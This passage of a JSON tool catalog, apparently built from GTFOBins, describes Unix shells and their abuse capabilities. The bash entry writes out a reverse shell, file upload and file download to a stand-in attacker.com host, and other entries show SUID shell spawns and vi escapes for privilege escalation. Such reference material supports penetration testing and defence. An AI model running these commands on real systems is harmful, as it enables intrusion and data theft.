        "cpu": "low",
        "memory_mb": 2,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Almquist shell, a lightweight Unix shell that can write files and spawn interactive shells.",
    "examples": [
      {
        "description": "Spawn interactive shell",
        "command": "ash"
      },
      {
        "description": "Spawn privileged interactive shell (SUID)",
        "command": "ash -p"
      },
      {
        "description": "Write arbitrary data to file",
        "command": "ash -c 'echo DATA >/path/to/output-file'"
      }
    ],
    "execution": {
      "template": "ash {c}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "shell-ash",
    "install": [
      {
        "method": "apt",
        "package_name": "busybox",
        "commands": [
          "apt-get install -y busybox"
        ]
      }
    ],
    "name": "ash",
    "namespace": "shell:bourne:ash",
    "parameters": [
      {
        "name": "c",
        "type": "string",
        "required": false,
        "description": "Command to execute",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "p",
        "type": "string",
        "required": false,
        "description": "Privileged mode (no profile files)",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      }
    ],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "ash man page",
        "url": "https://man7.org/linux/man-pages/man1/ash.1.html"
      }
    ],
    "related_tools": [
      "bash",
      "sh",
      "dash"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output",
        "file-content"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# bash\n\nbash is a command-line utility. GNU Bourne-Again SHell; can execute commands, read/write files, transfer data, and spawn shells Can also download files, read arbitrary files, write to arbitrary files, load arbitrary libraries, send a reverse shell, spawn an interactive shell, upload files.\n",
    "_source": "bash.md",
    "allowed-tools": [
      "bash"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "system.file.read",
      "system.file.write",
      "system.library.load",
      "security.execution.reverse-shell",
      "security.privilege-escalation.shell",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GNU Bourne-Again SHell; can execute commands, read/write files, transfer data, and spawn shells Can also download files, read arbitrary files, write to arbitrary files, load arbitrary libraries, send a reverse shell, spawn an interactive shell, upload files.",
    "examples": [
      {
        "description": "Download files",
        "command": "bash -c '{ echo -ne \"GET /path/to/input-file HTTP/1.0\\r\\nhost: attacker.com\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n    3<>/dev/tcp/attacker.com/12345 \\\n    | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } >/path/to/output-file'"
      },
      {
        "description": "Download files",
        "command": "bash -c 'echo \"$(</dev/tcp/attacker.com/12345) >/path/to/output-file'"
      },
      {
        "description": "Read arbitrary files",
        "command": "bash -c 'echo \"$(</path/to/input-file)\"'"
      },
      {
        "description": "Read arbitrary files",
        "command": "HISTTIMEFORMAT=$'\\r\\e[K'\nhistory -c\nhistory -r /path/to/input-file\nhistory"
      },
      {
        "description": "Write to arbitrary files",
        "command": "bash -c 'echo DATA >/path/to/output-file'"
      },
      {
        "description": "Write to arbitrary files",
        "command": "HISTIGNORE='history *'\nhistory -c\nDATA\nhistory -w /path/to/output-file"
      },
      {
        "description": "Load arbitrary libraries",
        "command": "bash -c 'enable -f /path/to/lib.so x'"
      },
      {
        "description": "Send a reverse shell",
        "command": "bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1'"
      },
      {
        "description": "Spawn an interactive shell",
        "command": "bash"
      },
      {
        "description": "Upload files",
        "command": "bash -c 'echo -e \"POST / HTTP/0.9\\n\\n$(</path/to/input-file)\" >/dev/tcp/attacker.com/12345'"
      },
      {
        "description": "Upload files",
        "command": "bash -c 'echo -n \"$(</path/to/input-file)\" >/dev/tcp/attacker.com/12345'"
      }
    ],
    "execution": {
      "template": "bash",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "network-intensive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "shell-bash-bash",
    "install": [
      {
        "method": "apt",
        "package_name": "bash",
        "commands": [
          "apt-get install -y bash"
        ]
      }
    ],
    "name": "bash",
    "namespace": "shell:bourne:bash",
    "parameters": [
      {
        "name": "debug",
        "template_key": "debug",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--debugger --dump-po-strings --dump-strings --help --init-file --login --noediting --noprofile --norc --posix --pretty-print --rcfile --restricted --verbose --version",
        "aliases": [
          "--debug"
        ],
        "flag": "--debug"
      },
      {
        "name": "debugger",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--debugger"
        ],
        "flag": "--debugger"
      },
      {
        "name": "dump_po_strings",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--dump-po-strings"
        ],
        "flag": "--dump-po-strings"
      },
      {
        "name": "dump_strings",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--dump-strings"
        ],
        "flag": "--dump-strings"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-a",
          "-o"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(invocation only)",
        "aliases": [
          "-i",
          "-c",
          "-O"
        ],
        "flag": "-i"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "init_file",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--init-file"
        ],
        "flag": "--init-file"
      },
      {
        "name": "noediting",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--noediting"
        ],
        "flag": "--noediting"
      },
      {
        "name": "noprofile",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--noprofile"
        ],
        "flag": "--noprofile"
      },
      {
        "name": "norc",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--norc"
        ],
        "flag": "--norc"
      },
      {
        "name": "posix",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--posix"
        ],
        "flag": "--posix"
      },
      {
        "name": "pretty_print",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--pretty-print"
        ],
        "flag": "--pretty-print"
      },
      {
        "name": "rcfile",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--rcfile"
        ],
        "flag": "--rcfile"
      },
      {
        "name": "restricted",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--restricted"
        ],
        "flag": "--restricted"
      },
      {
        "name": "verbose",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--verbose"
        ],
        "flag": "--verbose"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/bash/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration",
      "execution",
      "command-and-control",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n\n# bashbug — Bash Bug Reporting Tool\n\nbashbug is a shell script that reports bugs to the Bash maintainers. It opens a vi editor for writing the bug report, which can be abused to execute commands via `:!command` escape in vi.\n",
    "_source": "bashbug.md",
    "allowed-tools": [
      "bashbug",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell access via vi escape"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Bash bug reporting tool that opens a vi editor, which can be used to execute commands.",
    "examples": [
      {
        "description": "Open vi editor via bashbug, then use :!command to execute shell commands",
        "command": "bashbug"
      }
    ],
    "execution": {
      "template": "bashbug",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "shell-bashbug",
    "install": [
      {
        "method": "apt",
        "package_name": "bash",
        "commands": [
          "apt-get install -y bash"
        ]
      }
    ],
    "name": "bashbug",
    "namespace": "shell:bourne:bashbug",
    "parameters": [],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "bashbug man page",
        "url": "https://man7.org/linux/man-pages/man1/bashbug.1.html"
      }
    ],
    "related_tools": [
      "bash",
      "vi",
      "vim"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "csh.md",
    "allowed-tools": [
      "csh",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "C shell, can spawn interactive shells and write files.",
    "examples": [
      {
        "description": "Spawn an interactive C shell",
        "command": "csh"
      }
    ],
    "execution": {
      "template": "csh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "shell-csh-csh",
    "install": [
      {
        "method": "apt",
        "package_name": "csh",
        "commands": [
          "apt-get install -y csh"
        ]
      }
    ],
    "name": "csh",
    "namespace": "shell:csh:csh",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/csh/"
      }
    ],
    "related_tools": [
      "bash",
      "sh"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# tcsh\n\ntcsh is a command-line utility. Enhanced C shell with file completion and editing; can also write to arbitrary files, spawn an interactive shell.\n",
    "_source": "tcsh.md",
    "allowed-tools": [
      "tcsh"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.write",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Enhanced C shell; can execute commands, read/write files, and spawn shells.",
    "examples": [
      {
        "description": "Write to arbitrary files (sudo, suid, unprivileged)",
        "command": "tcsh -c 'echo DATA >/path/to/output-file'"
      },
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "tcsh"
      }
    ],
    "execution": {
      "template": "tcsh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "shell-csh-tcsh",
    "install": [
      {
        "method": "apt",
        "package_name": "tcsh",
        "commands": [
          "apt-get install -y tcsh"
        ]
      }
    ],
    "name": "tcsh",
    "namespace": "shell:csh:tcsh",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tcsh/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration",
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "dash.md",
    "allowed-tools": [
      "dash",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Debian Almquist shell, can spawn interactive shells and write files.",
    "examples": [
      {
        "description": "Spawn an interactive dash shell",
        "command": "dash"
      }
    ],
    "execution": {
      "template": "dash",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "shell-dash-dash",
    "install": [
      {
        "method": "apt",
        "package_name": "dash",
        "commands": [
          "apt-get install -y dash"
        ]
      }
    ],
    "name": "dash",
    "namespace": "shell:dash:dash",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/dash/"
      }
    ],
    "related_tools": [
      "bash",
      "sh"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "elvish.md",
    "allowed-tools": [
      "elvish",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Expressive shell, can spawn interactive shells and execute commands.",
    "examples": [
      {
        "description": "Spawn a shell via elvish",
        "command": "elvish"
      }
    ],
    "execution": {
      "template": "elvish",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "shell-elvish-elvish",
    "install": [
      {
        "method": "apt",
        "package_name": "elvish",
        "commands": [
          "apt-get install -y elvish"
        ]
      }
    ],
    "name": "elvish",
    "namespace": "shell:elvish:elvish",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/elvish/"
      }
    ],
    "related_tools": [
      "bash",
      "zsh"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# fish — Friendly Interactive Shell\n\nfish is a smart, user-friendly command-line shell. When installed with SUID or available via sudo, it spawns an interactive shell with the privileges of the file owner.\n",
    "_source": "fish.md",
    "allowed-tools": [
      "fish",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Friendly interactive shell with advanced features, can be used for privilege escalation.",
    "examples": [
      {
        "description": "Spawn interactive fish shell",
        "command": "fish"
      }
    ],
    "execution": {
      "template": "fish",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "shell-fish",
    "install": [
      {
        "method": "apt",
        "package_name": "fish",
        "commands": [
          "apt-get install -y fish"
        ]
      }
    ],
    "name": "fish",
    "namespace": "shell:interactive:fish",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "fish shell documentation",
        "url": "https://fishshell.com/docs/current/"
      }
    ],
    "related_tools": [
      "bash",
      "zsh",
      "ash"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "ksh.md",
    "allowed-tools": [
      "ksh",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "KornShell, can spawn interactive shells.",
    "examples": [
      {
        "description": "Spawn a shell via ksh",
        "command": "ksh"
      }
    ],
    "execution": {
      "template": "ksh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "shell-ksh-ksh",
    "install": [
      {
        "method": "apt",
        "package_name": "ksh",
        "commands": [
          "apt-get install -y ksh"
        ]
      }
    ],
    "name": "ksh",
    "namespace": "shell:ksh:ksh",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ksh/"
      }
    ],
    "related_tools": [
      "bash",
      "sh"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "posh.md",
    "allowed-tools": [
      "posh",
      "pwsh",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "PowerShell Core, can execute PowerShell commands and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via posh",
        "command": "posh -c 'Start-Process /bin/sh'"
      }
    ],
    "execution": {
      "template": "posh -c 'Start-Process /bin/sh'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "shell-powershell-posh",
    "install": [
      {
        "method": "apt",
        "package_name": "powershell",
        "commands": [
          "apt-get install -y powershell"
        ]
      }
    ],
    "name": "posh",
    "namespace": "shell:powershell:posh",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/posh/"
      }
    ],
    "related_tools": [
      "pwsh",
      "powershell"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pwsh.md",
    "allowed-tools": [
      "pwsh",
      "posh",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "PowerShell Core, cross-platform, can execute PowerShell and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via pwsh",
        "command": "pwsh -c 'Start-Process /bin/sh'"
      }
    ],
    "execution": {
      "template": "pwsh -c 'Start-Process /bin/sh'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "shell-powershell-pwsh",
    "install": [
      {
        "method": "apt",
        "package_name": "powershell",
        "commands": [
          "apt-get install -y powershell"
        ]
      }
    ],
    "name": "pwsh",
    "namespace": "shell:powershell:pwsh",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pwsh/"
      }
    ],
    "related_tools": [
      "posh",
      "powershell"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rc.md",
    "allowed-tools": [
      "rc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Plan 9 shell, can spawn interactive shells.",
    "examples": [
      {
        "description": "Spawn a shell via rc",
        "command": "rc"
      }
    ],
    "execution": {
      "template": "rc",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "shell-rc-rc",
    "install": [
      {
        "method": "apt",
        "package_name": "rc",
        "commands": [
          "apt-get install -y rc"
        ]
      }
    ],
    "name": "rc",
    "namespace": "shell:rc:rc",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rc/"
      }
    ],
    "related_tools": [
      "bash",
      "sh"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "sash.md",
    "allowed-tools": [
      "sash",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Stand-alone shell with built-in commands, can spawn interactive shells.",
    "examples": [
      {
        "description": "Spawn a shell via sash",
        "command": "sash"
      }
    ],
    "execution": {
      "template": "sash",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "shell-sash-sash",
    "install": [
      {
        "method": "apt",
        "package_name": "sash",
        "commands": [
          "apt-get install -y sash"
        ]
      }
    ],
    "name": "sash",
    "namespace": "shell:sash:sash",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/sash/"
      }
    ],
    "related_tools": [
      "bash",
      "sh"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# yash\n\nyash is a command-line utility. Yet another shell (POSIX-compliant); can also spawn an interactive shell.\n",
    "_source": "yash.md",
    "allowed-tools": [
      "yash"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "POSIX-compliant shell; can execute commands, read/write files, and spawn shells.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "yash"
      }
    ],
    "execution": {
      "template": "yash",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "shell-yash-yash",
    "install": [
      {
        "method": "apt",
        "package_name": "yash",
        "commands": [
          "apt-get install -y yash"
        ]
      }
    ],
    "name": "yash",
    "namespace": "shell:yash:yash",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/yash/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
